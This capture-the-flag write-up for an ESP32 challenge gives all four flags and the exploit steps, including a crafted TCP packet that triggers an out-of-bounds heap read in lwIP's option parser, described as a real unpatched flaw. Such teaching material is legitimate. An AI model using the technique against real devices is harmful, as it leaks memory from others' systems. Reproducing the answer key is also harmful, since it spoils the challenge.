# Phantom Byte — Writeup ## TL;DR 4-layer progressive challenge on a real ESP32. Exploit a heap-buffer-overflow in the device's TCP option parser (based on a real lwIP 0-day). Each layer teaches a skill leading to the final blind extraction. ## Reconnaissance 1. Flash firmware on ESP32, connect UART at 115200 2. Connect to WiFi AP **Phantom_Node** (password: `thewire2024`) 3. Connect to the debug probe: `nc 192.168.4.1 1337` ## Flag 1 — Signal (100pts) > *"The node whispers when it wakes."* Monitor the UART output during boot. Among the diagnostic lines: ``` [ 0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9 ``` Decode the base64: ```bash echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d ``` Result: `ESPILON{u4rt_s33s_4ll}` Submit over TCP: ``` ph> unlock ESPILON{u4rt_s33s_4ll} >> sequence accepted. >> layer 2 unlocked. you're getting closer to the wire. ``` ## Flag 2 — Backdoor (200pts) > *"Phantom always leaves a way in."* In layer 2, `help` lists the documented commands. But the `mem` output hints: ``` ph> mem >> secrets cached in the wire ``` And `info` shows: ``` >> backdoor: [CLASSIFIED] ``` Try the hidden command `wire`: ``` ph> wire >> accessing the wire... >> config_cache dump: >> ESPILON{h1dd3n_c0nf1g} ``` Submit: ``` ph> unlock ESPILON{h1dd3n_c0nf1g} >> layer 3 unlocked. careful. the deeper you go, the less you come back. ``` ## Flag 3 — Memory Bleed (300pts) > *"The parser reads more than it should."* In layer 3, enable debug tracing and inject a crafted TCP SYN: ``` ph> trace on >> trace enabled. ``` Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes): ``` Byte 12-13: F002 (doff=15, flags=SYN) ``` Full hex: `053900500000000100000000f002ffff00000000` ``` ph> inject 053900500000000100000000f002ffff00000000 ``` The trace output shows each byte read by `tcp_get_next_optbyte`: ``` [TRACE] tcp_get_next_optbyte: [ 20] 0x45 << oob [ 21] 0x53 << oob [ 22] 0x50 << oob [ 23] 0x49 << oob ... ``` All `<< oob` bytes are reads past the segment into the adjacent config_cache. Convert hex to ASCII: ``` 0x45=E 0x53=S 0x50=P 0x49=I 0x4c=L 0x4f=O 0x4e=N 0x7b={ 0x70=p 0x68=h 0x34=4 0x6e=n 0x74=t 0x30=0 0x6d=m 0x5f=_ 0x62=b 0x79=y 0x74=t 0x33=3 0x5f=_ 0x68=h 0x33=3 0x34=4 0x70=p 0x5f=_ 0x6c=l 0x33=3 0x34=4 0x6b=k 0x7d=} ``` Flag: `ESPILON{ph4nt0m_byt3_h34p_l34k}` ## Flag 4 — Blind Oracle (500pts) > *"The protocol itself is your oracle."* Disable trace output — no more per-byte visibility: ``` ph> trace off ``` The vulnerability still exists, but now the only feedback is the **parsed option values**. Use the TCP Timestamp option (kind=8, len=10) to straddle the segment boundary: **Technique**: Place the Timestamp kind+len as the last 2 in-bounds bytes. The 8 data bytes (TSval: 4B + TSecr: 4B) are read from OOB heap memory. ### Extraction **Chunk 1** (flag bytes 0-7): seg_size=32, doff=10 ``` ph> inject >> opt: TS=1163150159/1280267387 ``` Decode: `1163150159` → `0x45535049` → `ESPI`, `1280267387` → `0x4c4f4e7b` → `LON{` **Chunk 2** (flag bytes 8-15): seg_size=40, doff=12 Decode TSval/TSecr → `bl1n` / `d_st` **Chunk 3** (flag bytes 16-22): seg_size=48, doff=14 Decode TSval/TSecr → `r4dd` / `l3}\x00` Reconstruct: `ESPILON{bl1nd_str4ddl3}` ## Automated Solver ```bash python3 solve.py 192.168.4.1 1337 ``` ## Flags | # | Flag | Points | |---|------|--------| | 1 | `ESPILON{u4rt_s33s_4ll}` | 100 | | 2 | `ESPILON{h1dd3n_c0nf1g}` | 200 | | 3 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` | 300 | | 4 | `ESPILON{bl1nd_str4ddl3}` | 500 | ## Real-world Context This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF v5.3). The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option index stays within the pbuf's actual payload length. A remote attacker can send a crafted TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.